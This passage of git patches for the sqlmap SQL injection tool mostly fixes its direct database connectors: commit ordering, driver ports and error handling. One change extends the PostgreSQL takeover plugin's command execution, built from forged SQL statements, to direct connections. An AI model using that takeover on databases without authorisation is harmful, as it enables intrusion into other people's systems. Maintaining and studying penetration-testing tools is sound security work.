timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query): output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) + if output and isListLike(output): + output = [tuple(_hexifyBinary(_) for _ in row) if isListLike(row) else _hexifyBinary(row) for row in output] if state == TIMEOUT_STATE.NORMAL: hashDBWrite(query, output, True) elif state == TIMEOUT_STATE.TIMEOUT: diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 8d8080141b7..d079cfb3aab 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -117,7 +117,7 @@ def fetchall(self): logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None - def execute(self, query): + def execute(self, query, commit=True): retVal = False # Reference: https://stackoverflow.com/a/69491015 @@ -126,10 +126,14 @@ def execute(self, query): try: self.cursor = self.connector.execute(query) - if hasattr(self.connector, "commit"): # Note: SQLAlchemy 2.0+ dropped implicit autocommit (otherwise DML changes - e.g. via --sql-query - would be silently lost) + # Note: SQLAlchemy 2.0+ dropped implicit autocommit (otherwise DML changes - e.g. via --sql-query - + # would be silently lost). SELECT goes through select() with commit=False so the result set is + # fetched BEFORE committing: on some drivers (e.g. pymssql) commit() discards the open cursor, which + # otherwise made every MSSQL '-d' query silently return empty (banner/is-dba/dump all blank). + if commit and hasattr(self.connector, "commit"): self.connector.commit() retVal = True - except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError) as ex: + except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError, _sqlalchemy.exc.DataError, _sqlalchemy.exc.IntegrityError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) # Roll back the failed statement's transaction so it does not poison every following query with # 'InFailedSqlTransaction' (SQLAlchemy 2.0+ keeps the transaction open after an error). Without this @@ -148,7 +152,14 @@ def execute(self, query): def select(self, query): retVal = None - if self.execute(query): + # Fetch BEFORE committing (commit=False): committing can discard the open result cursor on some drivers + # (e.g. pymssql), which silently emptied every MSSQL '-d' result. No DML is persisted by a SELECT anyway. + if self.execute(query, commit=False): retVal = self.fetchall() + if hasattr(self.connector, "commit"): + try: + self.connector.commit() + except Exception: + pass return retVal diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index f49cabaa646..fbc57a53255 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -54,11 +54,20 @@ def fetchall(self): logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None - def execute(self, query): + def execute(self, query, commit=True): retVal = False try: self.cursor.execute(getText(query)) + # Commit non-SELECT (DML/DDL) here: direct() routes those to execute() alone, so without this a + # '--sql-query'/'--sql-shell' write was silently rolled back on connection close. select() passes + # commit=False and commits only AFTER fetchall(), because on pymssql commit() discards the open + # result cursor (which otherwise emptied every SELECT result). + if commit: + try: + self.connector.commit() + except pymssql.OperationalError: + pass retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) @@ -70,7 +79,7 @@ def execute(self, query): def select(self, query): retVal = None - if self.execute(query): + if self.execute(query, commit=False): retVal = self.fetchall() try: diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 459ff23d5bc..bfa87d4239c 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -12,7 +12,6 @@ import logging import struct -import sys from lib.core.common import getSafeExString from lib.core.data import conf @@ -34,7 +33,7 @@ def connect(self): self.initConnection() try: - self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password.encode(sys.stdin.encoding), db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) + self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error) as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 4a71bf15bb6..33923e8f1d5 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -55,7 +55,10 @@ def execute(self, query): try: self.cursor.execute(query) retVal = True - except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: + # Note: also catch DataError/IntegrityError (e.g. division-by-zero, bad cast, unique violation from a + # user '--sql-query') so the commit() below still runs and clears the aborted transaction; otherwise + # PostgreSQL poisons every later query with 'InFailedSqlTransaction' and silently returns None + except (psycopg2.OperationalError, psycopg2.ProgrammingError, psycopg2.DataError, psycopg2.IntegrityError) as ex: logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) except psycopg2.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index ea187fc79b0..ee9b70f345e 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -17,6 +17,7 @@ from lib.core.common import isStackingAvailable from lib.core.common import randomStr from lib.core.compat import LooseVersion +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths @@ -100,7 +101,7 @@ def uncPathRequest(self): def copyExecCmd(self, cmd): output = None - if isStackingAvailable(): + if isStackingAvailable() or conf.direct: # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index aed2d79e393..308f9081217 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -54,11 +54,20 @@ def fetchall(self): logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None - def execute(self, query): + def execute(self, query, commit=True): retVal = False try: self.cursor.execute(getText(query)) + # Commit non-SELECT (DML/DDL) here: direct() routes those to execute() alone, so without this a + # '--sql-query'/'--sql-shell' write was silently rolled back on connection close. select() passes + # commit=False and commits only AFTER fetchall(), because on pymssql commit() discards the open + # result cursor (which otherwise emptied every SELECT result). + if commit: + try: + self.connector.commit() + except pymssql.OperationalError: + pass retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) @@ -70,7 +79,7 @@ def execute(self, query): def select(self, query): retVal = None - if self.execute(query): + if self.execute(query, commit=False): retVal = self.fetchall() try: From 3378f8df3461b9a3d654aeb4b8666fa0d46ab57b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 11 Jul 2026 15:35:34 +0200 Subject: [PATCH 738/853] Minor patches for -d --- lib/core/settings.py | 2 +- plugins/dbms/cache/connector.py | 2 +- plugins/dbms/cubrid/connector.py | 6 ++++-- plugins/dbms/hsqldb/connector.py | 4 ++-- plugins/dbms/mimersql/connector.py | 6 ++++-- plugins/dbms/oracle/connector.py | 8 ++++++++ plugins/dbms/vertica/connector.py | 13 +++++++++---- 7 files changed, 29 insertions(+), 12 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 43a1bf9dc85..4eadf714200 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.81" +VERSION = "1.10.7.82" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py index 67a661e4a4a..3ba07525be9 100644 --- a/plugins/dbms/cache/connector.py +++ b/plugins/dbms/cache/connector.py @@ -46,7 +46,7 @@ def connect(self): try: driver = 'com.intersys.jdbc.CacheDriver' connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db) - self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) + self.connector = jaydebeapi.connect(driver, connection_string, [str(self.user), str(self.password)]) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py index 76aa9ea390c..cc17cd8aa1a 100644 --- a/plugins/dbms/cubrid/connector.py +++ b/plugins/dbms/cubrid/connector.py @@ -30,8 +30,10 @@ def connect(self): self.initConnection() try: - self.connector = CUBRIDdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) - except CUBRIDdb.DatabaseError as ex: + # CUBRIDdb.connect takes a positional URL 'CUBRID:host:port:db:::' then user/password positionally + # (it does not accept hostname/username/database keyword args, which raised a TypeError before) + self.connector = CUBRIDdb.connect("CUBRID:%s:%s:%s:::" % (self.hostname, self.port, self.db), str(self.user), str(self.password)) + except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 95630b76e6b..494c2988bbd 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -45,8 +45,8 @@ def connect(self): try: driver = 'org.hsqldb.jdbc.JDBCDriver' - connection_string = 'jdbc:hsqldb:mem:.' # 'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) - self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) + connection_string = 'jdbc:hsqldb:hsql://%s:%s/%s' % (self.hostname, self.port, self.db) # was hardcoded to 'jdbc:hsqldb:mem:.' (a fresh empty in-memory DB), ignoring the -d target + self.connector = jaydebeapi.connect(driver, connection_string, [str(self.user), str(self.password)]) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py index e6bcced6b96..74d27c43706 100644 --- a/plugins/dbms/mimersql/connector.py +++ b/plugins/dbms/mimersql/connector.py @@ -30,8 +30,10 @@ def connect(self): self.initConnection() try: - self.connector = mimerpy.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) - except mimerpy.OperationalError as ex: + # mimerpy.connect uses dsn/user/password (host/port come from Mimer's sqlhosts/MIMER_DATABASE + # configuration, not connect() kwargs); the previous hostname/username/... kwargs raised a TypeError + self.connector = mimerpy.connect(dsn=self.db, user=str(self.user), password=str(self.password)) + except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 0d011fb8afd..550a413055c 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -32,6 +32,14 @@ class Connector(GenericConnector): def connect(self): self.initConnection() + # Fetch CLOB/BLOB values directly as str/bytes instead of oracledb.LOB objects; otherwise a LOB cell + # reached the renderer as the repr '' (BLOB bytes are then hex-encoded + # by direct()'s binary handling). + try: + oracledb.defaults.fetch_lobs = False + except AttributeError: + pass + self.user = getText(self.user) self.password = getText(self.password) diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py index bfce0ce645d..6809989369c 100644 --- a/plugins/dbms/vertica/connector.py +++ b/plugins/dbms/vertica/connector.py @@ -44,7 +44,7 @@ def fetchall(self): logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None - def execute(self, query): + def execute(self, query, commit=True): try: self.cursor.execute(query) except (vertica_python.OperationalError, vertica_python.ProgrammingError) as ex: @@ -52,8 +52,13 @@ def execute(self, query): except vertica_python.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) - self.connector.commit() + # commit non-SELECT (DML) here; select() commits only AFTER fetchall() because vertica_python shares one + # cursor per connection and commit() runs COMMIT through it, discarding the unfetched result set + if commit: + self.connector.commit() def select(self, query): - self.execute(query) - return self.fetchall() + self.execute(query, commit=False) + retVal = self.fetchall() + self.connector.commit() + return retVal From e23a91f6db99d6c63187d7dee52f181e37f40135 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 11 Jul 2026 15:51:04 +0200 Subject: [PATCH 739/853] Some more patches for -d --- lib/core/common.py | 4 ++-- lib/core/dicts.py | 2 +- lib/core/settings.py | 2 +- lib/utils/deps.py | 2 +- plugins/dbms/firebird/connector.py | 34 ++++++++++++++++++------------ tests/test_deps.py | 14 ++++++------ 6 files changed, 32 insertions(+), 26 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 65ce3450a9c..e0e83e7770d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1714,7 +1714,7 @@ def parseTargetDirect(): try: conf.dbms = dbmsName - if dbmsName in (DBMS.ACCESS, DBMS.SQLITE, DBMS.FIREBIRD): + if dbmsName in (DBMS.ACCESS, DBMS.SQLITE): if remote: warnMsg = "direct connection over the network for " warnMsg += "%s DBMS is not supported" % dbmsName @@ -1749,7 +1749,7 @@ def parseTargetDirect(): elif dbmsName == DBMS.ACCESS: __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: - __import__("kinterbasdb") + __import__("firebirdsql") except (SqlmapSyntaxException, SqlmapMissingDependence): raise except: diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 4abc2e8bfef..f57e01a944b 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -231,7 +231,7 @@ DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"), DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), - DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "https://kinterbasdb.sourceforge.net/", "firebird"), + DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python3-firebirdsql", "https://github.com/nakagami/pyfirebirdsql/", "firebird"), DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), diff --git a/lib/core/settings.py b/lib/core/settings.py index 4eadf714200..bc6db894eed 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.82" +VERSION = "1.10.7.83" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 99fcc31e857..9bca3617c8c 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -38,7 +38,7 @@ def checkDependencies(): elif dbmsName == DBMS.ACCESS: __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: - __import__("kinterbasdb") + __import__("firebirdsql") elif dbmsName == DBMS.DB2: __import__("ibm_db_dbi") elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE): diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index 31a12b99d72..9e21a711fb0 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -6,7 +6,7 @@ """ try: - import kinterbasdb + import firebirdsql except: pass @@ -20,10 +20,12 @@ class Connector(GenericConnector): """ - Homepage: http://kinterbasdb.sourceforge.net/ - User guide: http://kinterbasdb.sourceforge.net/dist_docs/usage.html - Debian package: python-kinterbasdb + Homepage: https://github.com/nakagami/pyfirebirdsql + User guide: https://pyfirebirdsql.readthedocs.io/ + Debian package: python3-firebirdsql License: BSD + + Note: ported from the (Python 2-only, unmaintained) kinterbasdb driver to firebirdsql """ # sample usage: @@ -36,9 +38,8 @@ def connect(self): self.checkFileDb() try: - # Reference: http://www.daniweb.com/forums/thread248499.html - self.connector = kinterbasdb.connect(host=self.hostname, database=self.db, user=self.user, password=self.password, charset="UTF8") - except kinterbasdb.OperationalError as ex: + self.connector = firebirdsql.connect(host=self.hostname, database=self.db, port=self.port or 3050, user=self.user, password=self.password, charset="UTF8") + except firebirdsql.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() @@ -47,20 +48,25 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except kinterbasdb.OperationalError as ex: + except firebirdsql.OperationalError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None - def execute(self, query): + def execute(self, query, commit=True): try: self.cursor.execute(query) - except kinterbasdb.OperationalError as ex: + except firebirdsql.OperationalError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) - except kinterbasdb.Error as ex: + except firebirdsql.Error as ex: raise SqlmapConnectionException(getSafeExString(ex)) - self.connector.commit() + # commit non-SELECT (DML) here; select() commits only AFTER fetchall() because a Firebird COMMIT closes + # open cursors (discarding an unfetched result set) + if commit: + self.connector.commit() def select(self, query): - self.execute(query) - return self.fetchall() + self.execute(query, commit=False) + retVal = self.fetchall() + self.connector.commit() + return retVal diff --git a/tests/test_deps.py b/tests/test_deps.py index 5dfab5b50d5..c3224bd12e0 100644 --- a/tests/test_deps.py +++ b/tests/test_deps.py @@ -53,11 +53,11 @@ def tearDown(self): deps.logger = self._real_logger def test_missing_driver_warns_with_library_name(self): - # 'kinterbasdb' (Firebird driver) is essentially never installed, so the - # probe must hit the except branch and emit a warning naming the library. + # 'CUBRIDdb' (CUBRID driver) is not on PyPI and essentially never installed, + # so the probe must hit the except branch and emit a warning naming the library. try: - __import__("kinterbasdb") - self.skipTest("kinterbasdb is unexpectedly installed") + __import__("CUBRIDdb") + self.skipTest("CUBRIDdb is unexpectedly installed") except ImportError: pass @@ -65,10 +65,10 @@ def test_missing_driver_warns_with_library_name(self): warnings = self.rec.messages("warning") self.assertTrue(warnings, msg="no warnings captured for a missing driver") - # the Firebird entry must name its third-party library in a warning + # the CUBRID entry must name its third-party library in a warning self.assertTrue( - any("kinterbasdb" in w for w in warnings), - msg="missing Firebird driver did not produce a library-naming warning: %r" % warnings, + any("CUBRID-Python" in w for w in warnings), + msg="missing CUBRID driver did not produce a library-naming warning: %r" % warnings, ) def test_all_present_emits_all_installed_info(self): From d5ff557a1364080e1dac53f65d52537fdd38ba34 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 11 Jul 2026 16:13:12 +0200 Subject: [PATCH 740/853] Some more patches for -d --- lib/core/dicts.py | 2 +- lib/core/settings.py | 2 +- lib/request/direct.py | 11 +++++-- plugins/dbms/access/connector.py | 4 ++- plugins/dbms/clickhouse/connector.py | 46 +++++++++++++++++++++++++++- plugins/dbms/db2/connector.py | 2 +- plugins/dbms/derby/connector.py | 2 +- plugins/dbms/informix/connector.py | 2 +- plugins/dbms/snowflake/connector.py | 8 +++++ 9 files changed, 70 insertions(+), 9 deletions(-) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index f57e01a944b..b2d4c7f94b8 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -232,7 +232,7 @@ DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python3-firebirdsql", "https://github.com/nakagami/pyfirebirdsql/", "firebird"), - DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), + DBMS.MAXDB: (MAXDB_ALIASES, None, None, None), # 'maxdb'/'sapdb' SQLAlchemy dialect was removed long ago; a dead dialect only produces a misleading warning DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), diff --git a/lib/core/settings.py b/lib/core/settings.py index bc6db894eed..fba21d81b44 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.83" +VERSION = "1.10.7.84" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/direct.py b/lib/request/direct.py index 6316e6dcf89..52f410e9080 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -60,7 +60,10 @@ def direct(query, content=True): break if select: - if re.search(r"(?i)\ASELECT ", query) is None: + # only auto-wrap a bare scalar expression (e.g. 'CURRENT_USER', '48*60') in SELECT; a user-supplied + # complete row-returning statement (--sql-query 'PRAGMA ...' / 'WITH ...' / 'EXPLAIN ...') must be left + # intact, otherwise 'SELECT PRAGMA ...' is a syntax error and silently returns nothing + if re.search(r"(?i)\A\s*(?:SELECT|WITH|PRAGMA|EXPLAIN|DESCRIBE|DESC|SHOW|TABLE|VALUES)\b", query) is None: query = "SELECT %s" % query if conf.binaryFields: @@ -82,7 +85,11 @@ def direct(query, content=True): output = [tuple(_hexifyBinary(_) for _ in row) if isListLike(row) else _hexifyBinary(row) for row in output] if state == TIMEOUT_STATE.NORMAL: hashDBWrite(query, output, True) - elif state == TIMEOUT_STATE.TIMEOUT: + elif state in (TIMEOUT_STATE.TIMEOUT, TIMEOUT_STATE.EXCEPTION): + # a timed-out OR fatally-errored query (e.g. the connector raised SqlmapConnectionException, or the + # connection dropped mid-scan) left the connection unusable; reconnect so the rest of the scan + # recovers instead of every following query being silently swallowed to None (wrong/empty data). + # A genuinely dead DB makes connect() raise here and the scan aborts cleanly, as with TIMEOUT. conf.dbmsConnector.close() conf.dbmsConnector.connect() elif output: diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 91b8f246649..c1313bbf33d 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -38,7 +38,9 @@ def connect(self): self.checkFileDb() try: - self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db) + # ACE driver ('*.mdb, *.accdb') handles both legacy Jet .mdb and modern .accdb (the old '*.mdb'-only + # Jet driver is 32-bit-only and absent on modern installs); honor supplied credentials, not Admin/empty + self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb, *.accdb)};Dbq=%s;Uid=%s;Pwd=%s;' % (self.db, self.user or "Admin", self.password or "")) except (pyodbc.Error, pyodbc.OperationalError) as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py index 83a868de757..12d4987eefe 100755 --- a/plugins/dbms/clickhouse/connector.py +++ b/plugins/dbms/clickhouse/connector.py @@ -5,7 +5,51 @@ See the file 'LICENSE' for copying permission """ +try: + import clickhouse_connect + import clickhouse_connect.dbapi +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): - pass + """ + Homepage: https://github.com/ClickHouse/clickhouse-connect + User guide: https://clickhouse.com/docs/integrations/python + License: Apache 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = clickhouse_connect.dbapi.connect(host=self.hostname, port=self.port, username=self.user, password=self.password, database=self.db) + except clickhouse_connect.dbapi.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except clickhouse_connect.dbapi.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except clickhouse_connect.dbapi.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index 0a8e96b7a34..7e30a336950 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -32,7 +32,7 @@ def connect(self): try: database = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) - except ibm_db_dbi.OperationalError as ex: + except ibm_db_dbi.Error as ex: # base class: ibm_db_dbi maps wrong-credential (SQLSTATE 28) to ProgrammingError, not OperationalError raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py index 7be45f7412b..1069977b203 100644 --- a/plugins/dbms/derby/connector.py +++ b/plugins/dbms/derby/connector.py @@ -30,7 +30,7 @@ def connect(self): self.initConnection() try: - self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port) + self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port, user=self.user or None, password=self.password or None) except drda.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index e6f05889c0f..b7ae9e80506 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -32,7 +32,7 @@ def connect(self): try: database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) - except ibm_db_dbi.OperationalError as ex: + except ibm_db_dbi.Error as ex: # base class: ibm_db_dbi maps wrong-credential (SQLSTATE 28) to ProgrammingError, not OperationalError raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/snowflake/connector.py b/plugins/dbms/snowflake/connector.py index c24f3ab17b6..cad4fd3a932 100644 --- a/plugins/dbms/snowflake/connector.py +++ b/plugins/dbms/snowflake/connector.py @@ -32,6 +32,14 @@ def __init__(self): def connect(self): self.initConnection() + # Snowflake's mandatory 'account' identifier is carried in the DSN host field + # (e.g. -d "snowflake://user:pass@ACCOUNT/db"); warehouse/schema are optional. These were previously + # read from self.account/self.warehouse/self.schema which were never set anywhere -> AttributeError on + # every attempt. + self.account = self.hostname + self.warehouse = getattr(self, "warehouse", None) + self.schema = getattr(self, "schema", None) + try: self.connector = snowflake.connector.connect( user=self.user, From 921870ccf0936f79ce0ddd81b454c6c277bd096f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 10:32:57 +0200 Subject: [PATCH 741/853] Adding embedded dbwire library --- data/xml/queries.xml | 2 +- extra/dbwire/__init__.py | 50 ++++ extra/dbwire/clickhouse.py | 126 ++++++++++ extra/dbwire/monetdb.py | 231 ++++++++++++++++++ extra/dbwire/mysql.py | 335 ++++++++++++++++++++++++++ extra/dbwire/postgres.py | 265 +++++++++++++++++++++ extra/dbwire/presto.py | 125 ++++++++++ extra/dbwire/tds.py | 466 +++++++++++++++++++++++++++++++++++++ lib/controller/handler.py | 9 +- lib/core/common.py | 3 + lib/core/dicts.py | 14 ++ lib/core/settings.py | 2 +- lib/utils/dbwire.py | 57 +++++ 13 files changed, 1682 insertions(+), 3 deletions(-) create mode 100644 extra/dbwire/__init__.py create mode 100644 extra/dbwire/clickhouse.py create mode 100644 extra/dbwire/monetdb.py create mode 100644 extra/dbwire/mysql.py create mode 100644 extra/dbwire/postgres.py create mode 100644 extra/dbwire/presto.py create mode 100644 extra/dbwire/tds.py create mode 100644 lib/utils/dbwire.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index dfaabd38c81..b619a7a8827 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -222,7 +222,7 @@ - + diff --git a/extra/dbwire/__init__.py 